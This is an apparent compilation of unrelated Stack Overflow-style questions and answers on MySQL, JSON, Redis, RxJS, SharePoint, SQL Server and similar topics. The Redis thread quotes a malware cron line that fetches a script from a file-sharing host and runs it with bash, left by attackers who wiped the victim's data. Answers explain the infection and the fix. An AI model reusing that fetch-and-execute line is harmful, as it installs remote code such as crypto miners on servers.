And here's a screenshot:

Looking at other posts on similar issues it seems that the only way to eliminate this GPU-acceleration-related problem is to force a redraw at the end of the animation.
Someone suggested adding -webkit-backface-visibility: hidden to the SVG, but this didn't solve the issue for me.
Is there any alternative? Any flag or CSS property I could set to avoid the artifacts?


text:
Q: MySQL - How to sort alphanumeric data on numbers I try to sort one of my column which contains alphanumeric data in MySQL. Data start with chars and ends with digits.
Here is my sample dataset :
insert into test_sort (port) values ('GI 1/0/1');
insert into test_sort (port) values ('GI 1/0/4');
insert into test_sort (port) values ('GI 1/0/10');
insert into test_sort (port) values ('GI 1/0/6');
insert into test_sort (port) values ('GI 1/0/3');
insert into test_sort (port) values ('GI 1/0/12');
insert into test_sort (port) values ('TE 1/1/3');
insert into test_sort (port) values ('GI 1/1/1');
insert into test_sort (port) values ('GI 2/0/11');
insert into test_sort (port) values ('GI 2/0/1');
insert into test_sort (port) values ('GI 2/0/3');
insert into test_sort (port) values ('GI 1/1/2');
insert into test_sort (port) values ('TE 1/1/4');

I try to get this output :
GI 1/0/1
GI 1/0/3
GI 1/0/4
GI 1/0/6
GI 1/0/10
GI 1/0/12
GI 1/1/1
GI 1/1/2
TE 1/1/3
TE 1/1/4
GI 2/0/1
GI 2/0/3
GI 2/0/11

I tried to order by length, with substrings, binary, *1 with no success.
Many thanks for any help !

A: No built-in sort functionality or collation is going to skip into the 4th character in your string and sort based on that.  If you really need this kind of sort, you should probably split this string into two fields and then perform a two-dimensional ordering.
i.e. a table like:
port_alpha   port_numeric
----------   ------------
GI           2/0/1
TE           1/1/3
...          ...

with query like:
SELECT CONCAT_WS(' ', port_alpha, port_numeric) AS port
FROM test_sort
ORDER BY port_numeric ASC, port_alpha ASC

Without splitting your field you could do something like:
SELECT port FROM test_sort
ORDER BY SUBSTRING_INDEX(port, ' ', -1) ASC, port ASC

This is not ideal in that this would disallow use of an index on port field for performing the sort, and make this a poorly performing query.

A: you can use a query like this:
SELECT *
FROM test_sort
ORDER BY
    SUBSTRING_INDEX(SUBSTRING_INDEX(PORT,'/',1),' ',-1)+0,
    SUBSTRING_INDEX(SUBSTRING_INDEX(PORT,'/',2),'/',-1)+0,
    SUBSTRING_INDEX(SUBSTRING_INDEX(PORT,'/',3),'/',-1)+0;

test query
SELECT t.*,
    SUBSTRING_INDEX(SUBSTRING_INDEX(PORT,'/',1),' ',-1)+0 as D1,
    SUBSTRING_INDEX(SUBSTRING_INDEX(PORT,'/',2),'/',-1)+0 as D2,
    SUBSTRING_INDEX(SUBSTRING_INDEX(PORT,'/',3),'/',-1)+0 as D§
FROM test_sort t
ORDER BY
    SUBSTRING_INDEX(SUBSTRING_INDEX(PORT,'/',1),' ',-1)+0,
    SUBSTRING_INDEX(SUBSTRING_INDEX(PORT,'/',2),'/',-1)+0,
    SUBSTRING_INDEX(SUBSTRING_INDEX(PORT,'/',3),'/',-1)+0;


text:
Q: Parsing JSON String containing multiple objects I am retrieving json data from a url. The json "string" has one object that contains multiple objects inside of it, each of of the objects containing their own key, value properties...essentially the json object is an NSArray containing objects that are more or less dictionary objects. I'm trying to use NSJSONSerialization but there isn't a lot of documentation on it, and I can't seem to figure out how to Here is an example of what the json might look like:
{"allObjects":[{"firstName":"homer","middleName":"j","lastName":"simpson"
,"address": "123 evergreen terrace","countryCode":"US","zip":12345},
{"firstName": "marge","middleName":"b","lastName":"simpson","address":
"123 evergreen terrace","countryCode":"US","zip":12345}]}

(If it matters, the JSON object contains MANY more entries)
Are there specific "options" I need to use with NSJSONSerialization to get an array of dictionaries out (the array being "allObjects")?
Any help would be greatly appreciated!
Thanks in advance.
UPDATE
This code results in an error:
@vishy I thought this too, but when I run this code,
NSArray *json = [NSJSONSerialization JSONObjectWithData:geoNamesJSON options: kNilOptions error:&error];
NSDictionary *dict = [json objectAtIndex:0];
NSArray *allKeys = [dict allKeys];
NSString *key = [[NSString alloc] init];
NSEnumerator *keyEnum = [allKeys objectEnumerator];
NSLog(@"All keys in the first dictionary object:");
while(key = [keyEnum nextObject]){
    NSLog(@"%@", key);}

I get this error:

-[__NSCFDictionary objectAtIndex:]: unrecognized selector sent to instance 0x1fd7cd10
  * Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '-[__NSCFDictionary
  objectAtIndex:]: unrecognized selector sent to instance 0x1fd7cd10'
  * First throw call stack: (0x3796c2a3 0x35c7c97f 0x3796fe07 0x3796e531 0x378c5f68 0xf310b 0xf219d 0x38ca4321 0x38cdecfd 0x38d53cc1
  0x38cd86a7 0x38cd8481 0x38c52abb 0x38cc78d7 0x355b9bd9 0x3665c4b7
  0x366611bd 0x3793ff3b 0x378b2ebd 0x378b2d49 0x37def2eb 0x38c91301
  0xd3551 0x3c39db20) libc++abi.dylib: terminate called throwing an
  exception (lldb)

A: Are you getting any values in array after doing this step
NSArray *json = [NSJSONSerialization JSONObjectWithData:geoNamesJSON options:kNilOptions error:&error];

i dont think so, as your json is a dictionary. It should be
NSDictionary* json = [NSJSONSerialization JSONObjectWithData:geoNamesJSON options:kNilOptions error:&error];

For info on handling json you can follow this tutorial.
Edit: Parse the data in this way after getting the json dictionary using above lines
NSArray* geoList = [geoDict objectForKey:@"geonames"];
NSLog(@"first object in geolist--%@",[geoList objectAtIndex:0]);
//each object in the array is a dictionary


text:
Q: SEO implications of changing to HTTPS We plan to install SSL certificate in Magento store and I was wondering if there are any SEO implications to take into consideration? We mean to use the HTTPS on all pages of the site.
Does Magento automatically 301 redirect the non-secured url's to secured ones or do we need to make some server side redirection of all pages?
EDIT:
Also please note that this question is not about how to set the https in use in Magento, but how to make the change as safely as possible considering SEO.
EDIT 2:
I added this to my .htaccess file to make sure that all HTTP pages are 301 redirected to the HTTPS version of the same pages:
RewriteEngine On
RewriteCond %{SERVER_PORT} 80
RewriteRule ^(.*)$ https://www.example.com/$1 [L,R=301]

A: Yes, Magento does automatically do a 301 redirect. But only on and to the homepage. So http://www.example.com is redirected to https://www.example.com. And http://www.example.com/x.html is also redirected to https://www.example.com. So it is advisable to do a .htaccess redirect which takes into consideration the deeper pages of the site.
Furthermore you can check what happens if you try to access your site with and without the www subdomain in relation to http and https. In some cases both are accessible which you do not want because of duplicate content.
EDIT:
Also check your setting for  System > Configuration > General > Web > Url Option > Auto-redirect to Base URL
BONUS EDIT:
While you are at it. In most cases the CMS homepage is also accessible trough www.example.com/home. You might want to redirect that page to to avoid another case of duplicate content.

A: Moving to https is usually causes bump of positions in serp.
If you want to minimise the consequences let crawler to index urls with https first and only after it is done place 301 redirect.
You can do for this:

*

*change canonical tags (place there urls with https);

*change links in your content (it is hard, but do it if possible);

*change links in template.

*update sitemap.


text:
Q: $11$ divisibility We know that $1331$ is divisible by $11$.
As per the $11$ divisibility test, we can say $1331$ is divisible by $11$. However we cannot get any quotient. If we subtract each unit digit in the following way, we can see the quotient when $1331$ is divided by $11$.
$1331 \implies 133 -1= 132$
$132 \implies 13 - 2= 11$
$11 \implies 1-1 = 0$, which is divisible by $11$.
Also the quotient is, arrange, all the subtracted  unit digits (in bold and italic) from bottom to top, we get $121$. Which is quotient.
I want to know how this method is working? Please write a proof.

A: Look how the method works for the number $abcde$. You substract $e$ from $abcd$, getting $a'b'c'd'$, and you apply the method to $a'b'c'd'$. If the method works for $a'b'c'd'$, it yields $n'$ such that $a'b'c'd'=11\times n'$. But $a'b'c'd'0$ is $a'b'c'd'\times 10=11\times 10\times n'$ and $abcde=a'b'c'd'\times 10+e\times 11$ hence $abcde=11\times 10\times n'+11\times e$ is $11\times(10\times n'+e)$. This proves that $n=10\times n'+e$ is indeed the correct answer for $abcde$.
Edit (Upon OP's request, the same proof, with more apparatus but with zero more mathematics.)
Look how the method works for the number $N=a_ka_{k-1}\cdots a_2a_1a_0$ with $k\geqslant1$. You substract $a_0$ from $a_ka_{k-1}\cdots a_2a_1$, getting $M=b_kb_{k-1}\cdots b_2b_1$, and you apply the method to $M$. If the method works for $M$, it yields $m$ such that $M=11\times m$. But $b_kb_{k-1}\cdots b_2b_10$ is $M\times 10=11\times 10\times m$ and $N=M\times 10+a_0\times 11$ hence $N=11\times 10\times m+11\times a_0$ is $11\times(10\times m+a_0)$. This proves that $n=10\times m+a_0$ is indeed the correct answer for $N$ if $m$ was the correct answer for $M$. A recursion on the number of digits of $N$ yields the result.

A: HINT $\ $ Specialize $\rm\ x = 10\ $ below
$$\rm(x+1)\ (a_n\ x^n +\:\cdots\:+a_1\ x + a_0)\ =\ a_n\ x^{n+1}+ (a_n+a_{n-1})\ x^{n}+\:\cdots\:(a_1+a_0)\ x+ a_0$$


text:
Q: Как импортировать json в объект (Flutter)? Подскажите как импортировать json в объект во Flutter и использовать повторно в других классах?
Пример: получаю response c ключами 'timezone', 'access_token', 'userId'
signIn(String userName, pass) async {

final String serverKey = '##############';
final String url = 'https://example.com';
SharedPreferences sharedPreferences = await SharedPreferences.getInstance();
Map data = {
  'server_key': serverKey,
  'username': userName,
  'password': pass
};
var jsonResponse;
var response = await http.post(url, body: data);
if (response.statusCode == 200) {
  jsonResponse = json.decode(response.body);
  var res = jsonResponse;
  print(res);
  list = res.map<Token>((json) => Token.fromJson(json)).toList();
  if (jsonResponse != null) {
    setState(() {
      _isLoading = false;
    });
    sharedPreferences.setString("token", jsonResponse['access_token']);
    Navigator.of(context).pushAndRemoveUntil(
        MaterialPageRoute(builder: (BuildContext context) => MainPage()),
        (Route<dynamic> route) => false);
    print(jsonResponse['access_token']);
  }
} else {
  setState(() {
    _isLoading = false;
  });
  print(response.body);
}
}

Создаю класс с названием Token
class Token {
  String timezone;
  String access;

  Token({this.timezone, this.access});
  factory Token.fromJson(Map<String, dynamic> json) {
    return Token(timezone: json["timezone"], access: json["access_token"]);
  }
}

Как теперь использовать переменную access в других dart файлах?

A: Если я правильно понял вопрос, то вы хотите сериализовать такой же json в других местах проекта. Вот несколько советов как сделать так, чтобы таких вопросов не возникало. Разбей этот метод на части, сделай отдельный метод который сделает запрос и вернёт тебе сериализованный объект. Далее отдельный метод для перехода на другой экран.
List<Token> signIn(String username, String password) async {
   final String serverKey = '##############';
   final String url = 'https://example.com';
   SharedPreferences sharedPreferences = await
   SharedPreferences.getInstance();
   Map data = {
     'server_key': serverKey,
     'username': username,
     'password': password
   };
   var jsonResponse;
   var response = await http.post(url, body: data);
   if (response.statusCode == 200) {
     jsonResponse = json.decode(response.body);
     var res = jsonResponse;
     if (jsonResponse != null) {
      sharedPreferences.setString("token", jsonResponse['access_token']);
      final List<Token> list = res.map<Token>((json) => Token.fromJson(json)).toList();
     }
   } else {
    return null;
  }
}

Future<void> onSignInTapped() async {
   final List<Token> tokens = await signIn();
   if (tokens != null) {
     setState(() {
      _isLoading = false;
    });
    Navigator.of(context).pushAndRemoveUntil(
        MaterialPageRoute(builder: (BuildContext context) => MainPage()),
        (Route<dynamic> route) => false);
   } else {
    setState(() {
     _isLoading = false;
    });
   }
}

В результате чего в любом месте проекта можно будет вызвать метод signIn, который, в случае успешной сериализации вернёт нужный вам объект, желательно положить метод signIn в какой-то архитектурный слой отвечающий за запросы к API.


text:
Q: Highlight search text bootstrap table I'm trying to implement jquery plugin for highlighting search text to my app and I'm using this topic, I've put jquery plugin to my app and add this line:
  $table.highlight($(".search.bs.table").val());

But searching text still doesn't highlighting. Somebody could me explain, Where is my mistake?
plunker
code:
function initTable() {
    $table.bootstrapTable({
        filterControl: true,
        //data: url,
        //url: 'data/events.json',
        height: getHeight(),
        formatNoMatches: function () {
            return "Please, choose your category";
        }

    });

    // sometimes footer render error.
    setTimeout(function () {
        $table.bootstrapTable('resetView');
    }, 200);
    $table.on('check.bs.table uncheck.bs.table ' +
        'check-all.bs.table uncheck-all.bs.table', function () {
        $remove.prop('disabled', !$table.bootstrapTable('getSelections').length);
        // save your data, here just save the current page
        selections = getIdSelections();
        // push or splice the selections if you want to save all data selections
    });
    $table.on('all.bs.table', function (e, name, args) {
        console.log(name, args);
    });
    $table.highlight($(".search.bs.table").val());

    $table.on('search.bs.table', function (e, text){

        "use strict";
        console.log(e);
        console.log(text);
    });
    $remove.click(function () {
        var ids = getIdSelections();
        $table.bootstrapTable('remove', {
            field: 'id',
            values: ids
        });
        $remove.prop('disabled', true);
    });
    $(window).resize(function () {
        $table.bootstrapTable('resetView', {
            //height: getHeight()
        });
    });
}

A: I figure out, how it works
Below the right code (put this code inside inittable):
$table.highlight($(".search.bs.table").val());

$table.on('search.bs.table', function (e, text){

    $table.highlight(text);
    console.log(e);
    console.log(text);
});

css:
.highlight {background-color: yellow}

A: for version >= 1.18.x you can use data-search-highlight

example code


text:
Q: Chain Observable emissions? I have two independent Observables that I'd like to couple in such a manner that every time the first emits a value, it causes the second to emit a value.
In this scenario, the first Observable is an infinite sequence based on an async Node.js-style method with variable callback timing (no usage of delay or timer allowed).  The second Observable is a finite sequence of independent values.
Perhaps a diagram can express what I'm looking for:
I: ---A--D-----Q-G---B-> (I is infinite)
F: -3512-|->             (F is finite)
O: ---3--5-----1-2-|->   (O is finite)

The output sequence (O) is finite with the values from (F), based on the timing of (I).
Here's (I):
// I'm stuck with this, it cannot change...
function asyncOperation(callback) {
  const delayMsec = Math.floor(Math.random() * 1000);
  timers.setTimeout(callback, delayMsec, null, delayMsec);
}

const callbackObservable = Rx.Observable.bindNodeCallback(asyncOperation);

const infiniteCallbackSequence = Rx.Observable
  .defer(callbackObservable)
  .expand(x => callbackObservable());

And for simplicity, here's (F):
const finiteSequence = Rx.Observable.from([3, 5, 1, 2]);

(This build upon a previous Question of mine here.)
I don't understand things well enough to make combine*, merge*, or *map work to generate what I want -- assuming they can.  It seems like I want take(1) on (I) each time (O) emits.
How do I get the behavior described?

A: Would Observable.zip work for your usecase?
const Rx = require('rxjs');
const timers = require('timers');

const finite = Rx.Observable.from([3, 5, 1, 2]);

// I'm stuck with this, it cannot change...
function asyncOperation(callback) {
  const delayMsec = Math.floor(Math.random() * 1000);
  timers.setTimeout(callback, delayMsec, null, delayMsec);
}

const callbackObservable = Rx.Observable.bindNodeCallback(asyncOperation);

const infiniteCallbackSequence = Rx
  .Observable
  .defer(callbackObservable)
  .expand(x => callbackObservable());

const combined = Rx.Observable.zip(
  finite,
  infiniteCallbackSequence
).forEach(v => console.log(v));

running on node 6:
➜ $ node test.js
[ 3, 816 ]
[ 5, 297 ]
[ 1, 95 ]
[ 2, 677 ]
➜ $


text:
Q: My Redis auto generated keys I don't know what's exactly happen with my Redis version 4.0.9.
I'm running an application and using Redis to store my database.
But, then Redis auto create 3 new keys: "Backup1", "Backup2", "Backup3" and delete all of my data.
Here is the screenshot of my redis: https://snag.gy/cyUZrg.jpg
By the way, the value of "Backup1" key is:
"\t\n*/2 * * * * curl -s https://transfer.sh/14lJBL/tmp.OiYASvlZ0v > .cmd && bash .cmd\n\t"

Thank you so much.
Update:
I found that this is the Persistence feature of Redis. I have tried to set save "" and appendonly no but it seems not work. my Redis persistence config.
Thanks, guys.

A: There is not issue with redis 4.0.9.
Your redis machine hacked. Hacker removed all your data from redis-server.

A: You are victim of the KINGSING malware. What it will do:
flushall
SET backup1 ...
SET backup2 ...

You can actually see the content of the script that will be downloaded.
What I don't know is how the cron job will be executed, but if it does, it will download the script and run it. Which in turn will disable the firewall, SeLinux and a bunch of other programs.
It will also run a crypto miner.
The flushall command will delete all the data in your DB, which is why your keys will disappear. To prevent this, just set a password
in redis.conf:
requirepass MY_SUPER_SECURE_PASSWORD

You can also have an ACL file if you want something more granular.

A: I know it's late, but because I found the solution, decided to share it here.
My problem was solved after if increased memory of my server.


text:
Q: How to generate a task list showing time remaining I have a task list in Google Sheets. It has several columns, but for the sake of my problem, I only care about two:

*

*D is the status column with text values like "In Progress" and "Complete"

*F is a number column for number of hours to complete the task

At the bottom of F is the total number of hours for the project overall.
What I want to add is an hours remaining cell, which would take the total number of hours in F and subtract hours based on a "Complete" status in the same row of D.
One way I can think to do this is with conditional formatting, changing rows to green when the status is changed to Complete. That I can do.
I can then Sum F by Color (green), and subtract that number from the project total.
That works. The problem is that there isn't a way to get the whole sheet to do that. I have to put a conditional formula in each row and modify it for each row.
In other words, for row 3, I have to use: =$D$3="Complete"
Then for row 4, I have to use: =$D$4="Complete"
This would obviously be a long and tedious process for a long task list.
Any better ideas how to solve this problem? Or is a script necessary?

A: I would make a 3rd row , lets call it G, which would represent something like "hours in, provided not completed" and sum that column. You can just put in a formula in that column that goes:
IF(D1 <> "Complete", F1, 0)

Just drag that value from row 1 to end, and SUM it at the bottom.


text:
Q: Multi property lambda groupby does not return correct result Trying to group a list of records with lambda but does not work with multiple property
I hate stake over flow, here is a bunch of text that is not need because stack over flow say I need more text because there is too much code and there stupid validation system keeps say my code is incorrectly formatted and I have spent to much time trying to get this to post
Module Module1
    Sub Main()
        Dim list As New List(Of MyObject)
        list.Add(New MyObject() With {.Batch = "", .Expiry = New Date(2001, 1, 1), .Serial = "S1"})
        list.Add(New MyObject() With {.Batch = "", .Expiry = New Date(2001, 1, 1), .Serial = "S5"})
        list.Add(New MyObject() With {.Batch = "", .Expiry = New Date(2001, 1, 2), .Serial = "S2"})
        list.Add(New MyObject() With {.Batch = "", .Expiry = New Date(2001, 1, 3), .Serial = "S3"})
        list.Add(New MyObject() With {.Batch = "", .Expiry = New Date(2001, 1, 4), .Serial = "S4"})

        Dim distinct As List(Of MyObject) = list.GroupBy(Function(x) New With {Key .Batch = x.Batch.ToUpper().Trim(), .Expiry = x.Expiry.Date}, Function(x) x).Select(Function(x) New MyObject() With {.Batch = x.Key.Batch, .Expiry = x.Key.Expiry, .Serial = ""}).ToList()
    End Sub

    Public Class MyObject
        Property Batch As String
        Property Expiry As Date
        Property Serial As String
    End Class
End Module

'Expected Results:
'item 0: Batch = "", Expiry = 2001/1/01, Serial = ""
'item 1: Batch = "", Expiry = 2001/1/02, Serial = ""
'item 2: Batch = "", Expiry = 2001/1/03, Serial = ""
'item 3: Batch = "", Expiry = 2001/1/04, Serial = ""

'Actual Results:
'item 0: Batch = "", Expiry = 2001/1/01, Serial = ""

A: You have miss a keyword Key in your group by
Your code:
list.GroupBy(Function(x) New With {Key .Batch = x.Batch.ToUpper().Trim(), .Expiry = x.Expiry.Date}, Function(x) x)

But it should be
list.GroupBy(Function(x) New With {Key .Batch = x.Batch.ToUpper().Trim(), Key .Expiry = x.Expiry.Date}, Function(x) x)

Fiddler


text:
Q: SharePoint 2010 — Visual Studio Project Structure What are your project structures for sharepoint projects. For example my simple structure is: Think of a project named MyPortal
MyPortal.sln
--MyPortal.Branding (Custom master pages, page layouts, css-js-images that go under _kayouts)
--MyPortal.Definitions (Content types, event receivers, list definitions/instances)
--MyPortal.WebParts (webparts, user controls, custom application pages)

A: MyPortal.Controls (controls and objects)
MyPortal.Commands (logic and analytics)
MyPortal.Properties (styling)
This can be followed for just about any SharePoint project.

A: Structure for any type of SharePoint Project has differences:
1-in Microsoft you can find many templates for programming:
any type has it's own template: download them
for example for web parts:

Elements.xml
Contains information that is used by the Feature definition file in
  your project to deploy the Web Part.
.webpart file
Provides information that SharePoint needs to display your Web Part in
  a Web Part gallery.
Code File
Contains methods that add controls to the Web Part and generate custom
  content within the Web Part.

you can download from here:

Visual Basic and C# SharePoint Templates

These templates appear under the Visual Basic/SharePoint or Visual C#/SharePoint subcategories, and may be further sorted into 2007 and 2010.
2- in CodePlex :

This project extends the Visual Studio 2010 SharePoint Project system
  with advanced templates and tools.

3- SPSF

The SharePoint Software Factory is a Visual Studio Extension helping
  SharePoint newbies, as well as experienced developers to create,
  manage and deploy SharePoint solutions without having to know every
  tiny XML and C# secret.

4- cksdev

This project extends the Visual Studio 2010 SharePoint project system
  with advanced templates and tools.


text:
Q: sql server agent proxy account I am trying to use proxy account for non sysadmin to grant them exec permission on xp_cmdshell.
What I did is:
USE [master]
GO
CREATE CREDENTIAL [proxyaccount] WITH IDENTITY = N'domain\user', SECRET = N'password'
GO
USE [master]
GO
CREATE CREDENTIAL [proxyaccount] WITH IDENTITY = N'domain\user', SECRET = N'password'
GO

USE [msdb]
GO
EXEC msdb.dbo.sp_add_proxy @proxy_name=N'myproxy',@credential_name=N'proxyaccount',
                @enabled=1
GO
EXEC msdb.dbo.sp_grant_proxy_to_subsystem @proxy_name=N'myproxy', @subsystem_id=2
GO
EXEC msdb.dbo.sp_grant_proxy_to_subsystem @proxy_name=N'myproxy', @subsystem_id=3
GO
EXEC msdb.dbo.sp_grant_proxy_to_subsystem @proxy_name=N'myproxy', @subsystem_id=11
GO

But still when the user tries to do
xp_cmdshell 'dir c:'

It gives the following error:
Msg 229, Level 14, State 5, Procedure xp_cmdshell, Line 1
The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.

Anyone knows what else should i be doing? The login only has connect permission to the server.
thanks in advance

A: You shoud simply use
EXEC sp_xp_cmdshell_proxy_account 'domain\user', 'password';

instead. I am not 100% sure but I think xp_cmdshell explicitly looks for a proxy account called ##xp_cmdshell_proxy_account## - this is what the stired procedure above will create for you.


text:
Q: How to force the shutdown of the PIC18 I made a simple project, a "Hello World" test. The LED's light up, but when I turn the power off for the PIC18 they still stay on for a few seconds. I want to turn off the power to the PIC18 with no delay; is that possible?

A: You might consider a comparator for VCC, and when it goes low use an interrupt to bring the program to a quick stop before the power goes totally out, instead of taking your chances with a cold power off.
Edit:
Might be a bit easier said than done, as Vcc for your comparator would also change.  You'd need to use a voltage regulator to generate Vcc from a higher voltage, then monitor Vsupply through voltage divider to keep it in range of the comparator.
Alternatively, if this is super-important and the above isn't suitable, you could switch to a microcontroller with better power monitoring tools.

A: You can make an alternative way for the current to passa when you turn it off. As already said, probably you have some capacitors in your board (maybe in the power supply) that holds some charge and whenever you turn the power off, it still supplies some current to the circuit. You could create some mechanism to open an alternative path for your capacitor to discharge not through the circuit whenever you take off the power. But it depends on how is your circuit... you should give us more info but that is the pretty basic idea.
There are switches with multiple ways. So one thing you can do is to use one way to turn off power and other way to close a circuit/path of discharging the capacitor. Another method you can try is using one way of the switch to turn off the power and the other way to interrupt PIC's supply path.

A: Lot of details are missing from your requirements, but seems that you need some way to actively reset the controller when the power supply is switched off. Here is a concept.

simulate this circuit – Schematic created using CircuitLab

*

*R1, R2 and C1 must be sized in such a way that during voltage zero crossings the base current is sufficient to saturate the transistor;

*C2 must be sized such that the power supply ripple is sufficiently small for the regulator circuit;

*You probably need an inverter stage to invert \$RESET \text{ to } \overline{RESET}\$ to connect it to the \$\overline{RESET}\$-pin of your controller.


text:
Q: Converting SSH2 Key to OpenSSH Format On Ubuntu I generated a key using ssh-keygen -t rsa -b 4096 command.
While trying to convert the generated key to OpenSSH format with
ssh-keygen -i -f id_rsa.pub > id_rsa_openssh.pub, I get error uudecode failed.
Any idea how to resolve this error.

A: Probably too late but using
ssh-keygen -e -f id_rsa.pub > id_rsa_openssh.pub

worked for me.


text:
Q: iPhone Orientation Expressed as Rotation Ola Folks,
 This might not be the right place for this. Let me know where I should post if I should post it elsewhere.

 I want to get the orientation of the device. I am thinking I can use something like this:

float fAngleX = atan2(acceleration.y, acceleration.z);
float fAngleY = atan2(acceleration.x, acceleration.z);
float fAngleZ = atan2(acceleration.y, acceleration.x);

 First, is my formula right?
 Second, is this going to work for the device?
 Third, I'm going back and forth about filtering out gravity. Any thoughts?
 Lastly, is there a better way to get the devices orientation expressed as rotation for all three axis?

Thanx
-isdi-

A: To give the rotation of the device as three numbers like that, is actually ambiguous. This kind of thing can get quite confusing. I think this might be the best place to start: http://en.wikipedia.org/wiki/Euler_angles

A: As long as you're careful you can use angles, though it would probably be way easier to use vectors directly.
You'll almost certainly want to do filtering; a simple low-pass would be great, but don't filter out gravity, as it is the orientation of the device :).


text:
Q: Context Menu and Adding items to textbox c# So, what i'm trying to do is this:

Have a textbox or item that will add clickable buttons to it. I don't know how to explain it fully, but basically for each file in a folder, add a button that when you click it will print the text inside that textfile.
To attempt to explain it better:
One item on the form, and for every text file in a directory, it will add a contextmenu that has custom options to print it to the textbox.
Sorry if I didn't explain it fully, but I plan to rewrite this in a more reasonable way if needed.
My current code is
String path = AppDomain.CurrentDomain.BaseDirectory;
string[] files = Directory.GetFiles(path, "*.txt", SearchOption.AllDirectories);

foreach (string s in files)
{
      string file = s.Replace(path + "\\", "").Replace(path + "\\", "").Replace(path + "\\", "");
      richTextBox1.AppendText(file + "\n");
      ContextMenu cm = new ContextMenu();
      cm.MenuItems.Add(file)
}

http://i.imgur.com/gKaZqOY.png
it prints the text files in the directory fine, but I want to be able to right click them and add the text inside of them to go to the textbox.

A: I don't understand exactly you but you can load datas in a txtfile to maybe richTextBox like that:
 DialogResult result1 = openFileDialog1.ShowDialog(); // Show the dialog.
            if (result1 == DialogResult.OK) // Test result.
            {
                string file = openFileDialog1.FileName;
                try
                {
                    string line;
                    // Read the file and display it line by line.
                    System.IO.StreamReader file1 =
                       new System.IO.StreamReader(file, true);
                    while ((line = file1.ReadLine()) != null)
                    {
                        richTextBox1.LoadFile(file,RichTextBoxStreamType.PlainText);
                    }
                    richTextBox1.Clear();
                    file1.Close();
                }
                catch (System.IO.IOException)
                {
                    MessageBox.Show("The file could not be read:");

                }
            }


text:
Q: Width auto not updating with knockout text bind Okay, so I just started working on a on-going project. I noticed a bug to where the user name would appear inside another element until a cursor hovered over it.
After much investigation I found that this was due to the fact that this project uses Knockout.js. For a placeholder in the span element they had a no-break space. So when the page rendered it would sometimes forget to update the width auto with the newly changed text.

Username

I am open to answers that involve html, css, javascript, and/or JQuery

A: Fot this you need to use attr binding like this
Username

self.SetWidth = function(){
    return 'auto'
}

This will be applied dynamically so when the page is rendered knockout will call SetWidth function to return something and apply it on element


text:
Q: Multi-step time series forecast using Holt-Winters algorithm in python This is regarding a time-series forecast problem, with a dataset which has almost no seasonality, with a trend that follows the input data. The data is stationary (p-value is less than 5%)
Trying to convert the single-step forecast into a multi-step forecast, by feeding back the predictions as inputs to the Holt-Winters algorithm to achieve predictions for multiple days.
PFB a small snippet of the logic.
from statsmodels.tsa.holtwinters import ExponentialSmoothing
data = pd.read_csv('test_data.csv')

#After time series decomposition and stationarity check using the AD Fuller's test
model = ExponentialSmoothing(data).fit()
number_of_days = 5
for i in range(0,number_of_days):
    yhat = model.predict(len(data), len(data))
    data = pd.DataFrame(data)
    data = data.append(pd.DataFrame(yhat),ignore_index=True)
    data_length = data.size

The forecast (output) for all the days is the same value.
Can anyone please help me understand how to tune the algorithm (and / or the logic above) for a better forecast?


text:
Q: crystal report - page footer overlaps details section I have a report with two header sections (HS), two details sections (DS) and two page footer sections (PFS).
and I want to get report with following layout
page 1:
HS-1
DS-1
PFS-1
page 2 and more:
HS-2
DS-2
PFS-2
and I do it but my problem is with first page, PFS-1 overlaps DS-1.
DS-1 has "new page after" condition where after one record is displayed new page should start. HS-1 and PFS-1 are suppressed if pagenumber <> 1
there are text boxes and line objects on DS-1 but PFS-1 overlaps almost half of it while the PFS-1 itself is just one line in size.
PFS-1 is "fit section" and no, I can't use

print at bottom of page

because it is disabled, grayed out. as for sizes of section they are same as the second ones but I have no problem with second or farther pages, this problem occurs only on first page.
as you can see in picture below, text marked with red is the single line of footer and it is way too high positioned and it overlaps the details section :/.
under that footer there is at least one more box like the one that is outlined with blue box and three data fields .

please can anyone help me with this ?


text:
Q: An error when I add $state service to my references in angularjs module I have some problems to use $state service on my tutorial project.
Here is my module and config definition:
(function () {
"use strict";
angular.module("gameManagement", ["ui.router", "ngAnimate", "ngResource"])

    .config(["$stateProvider", "$urlRouterProvider","$state", function ($stateProvider, $urlRouterPorvider,$state) {
        $urlRouterPorvider.otherwise("/game/MultiStepForm/step1");
        $urlRouterProvider.otherwise("/game/Home");
        $stateProvider
            .state("Home", {
                url: "/game/Home",
                templateUrl: "/app/game/GameView.html",
                controller: "GameController",
                controllerAs: "vm"
            });

        $stateProvider
            .state("Log", {
                url: "/Game/Log",
                templateUrl: "/app/Log/GameLogView.html",
                controller: "GameLogController",
                controllerAs: "vm"

                onEnter: function () {
                    $state.go("MultiStepForm");
                }
            });

        $stateProvider
        .state("MultiStepForm.view", {
            url: "/Game/MultiStepFormView",
            templateUrl: "/app/MultiStepForm/MultiStepFormView.html",
            controller: "MultiStepFormViewController",
            controllerAs: "MultiStepViewLogic"
        })

        $stateProvider
    .state("MultiStepForm.Edit", {
        url: "/Game/MultiStepFormEdit",
        templateUrl: "/app/MultiStepFormEdit/MultiStepForm.html",
        controller: "MultiStepFormEditController",
        controllerAs: "MultiStepEditLogic"
    })
    }]);
})();

I want to use this row:
$state.go();

for this purpose I add $state service to references but, when I add to
references the $state service I start to get this error:
Uncaught Error: [$injector:modulerr] Failed to instantiate module sensorManagement due to:
Error: [$injector:unpr] Unknown provider: $state
http://errors.angularjs.org/1.4.2/$injector/unpr?p0=%24state
...

Any idea why I get the error above? What am I missing?

A: You could only access provider inside config phase of angular, $state dependency won't be available inside that phase because $state is provider, and you are already accessing it inside config function by appending Provider prefix like $stateProvider.
If you aim is to redirect the route then you could use $state dependency in run block. Do use $state.go from there
app.run(function($state){
    $state.go('somestate')
})

A: I believe you are missing a resolution in your state. You could try something like this:
$stateProvider
    .state("Log", {
        url: "/Game/Log",
        templateUrl: "/app/Log/GameLogView.html",
        controller: "GameLogController",
        controllerAs: "vm",
        resolve: {$state: '$state'},
        onEnter: function ($state) {
            $state.go("MultiStepForm");
        }
});

See the documentation for more information on how the onEnter and onExit callbacks work. Basically the above question doesn't inject the $state service correctly and thus, is unable to transition state(s) due to the callback lacking access to $state.
You will also want to remove the injection into the config:
.config(["$stateProvider", "$urlRouterProvider", function ($stateProvider, $urlRouterProvider) {


text:
Q: Can i replace the int in my Javascript with the Variable Zero when parsing a JSON file here is the JSON file I would like to parse
{
  "items": [
    0 {
      "snippet": {
        "liveBroadcastContent": "live",
      }
    }
